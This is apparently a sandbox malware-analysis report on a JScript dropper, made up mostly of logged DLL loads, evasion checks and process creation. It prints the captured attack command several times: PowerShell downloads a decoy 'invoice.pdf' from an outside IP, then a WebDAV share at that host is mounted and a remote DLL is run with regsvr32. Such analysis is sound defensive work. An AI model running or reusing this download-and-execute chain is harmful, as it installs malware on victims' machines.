Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3136.js.csv");ITextStream.WriteLine(" entry:8183 f:mwtioqiwo");ITextStream.WriteLine(" exec:2 f:mwtioqiwo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3655			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6252			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep count: 3655 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 6252 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7932	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8172	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000008.00000002.3003753234.000002156A02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@}eo
Source: net.exe, 00000006.00000002.1758639891.000001DB78C38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@o
Source: net.exe, 00000006.00000003.1757138489.000001DB78CA2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757503452.000001DB78CA2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1758957538.000001DB78CA2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3004946385.000002156F654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

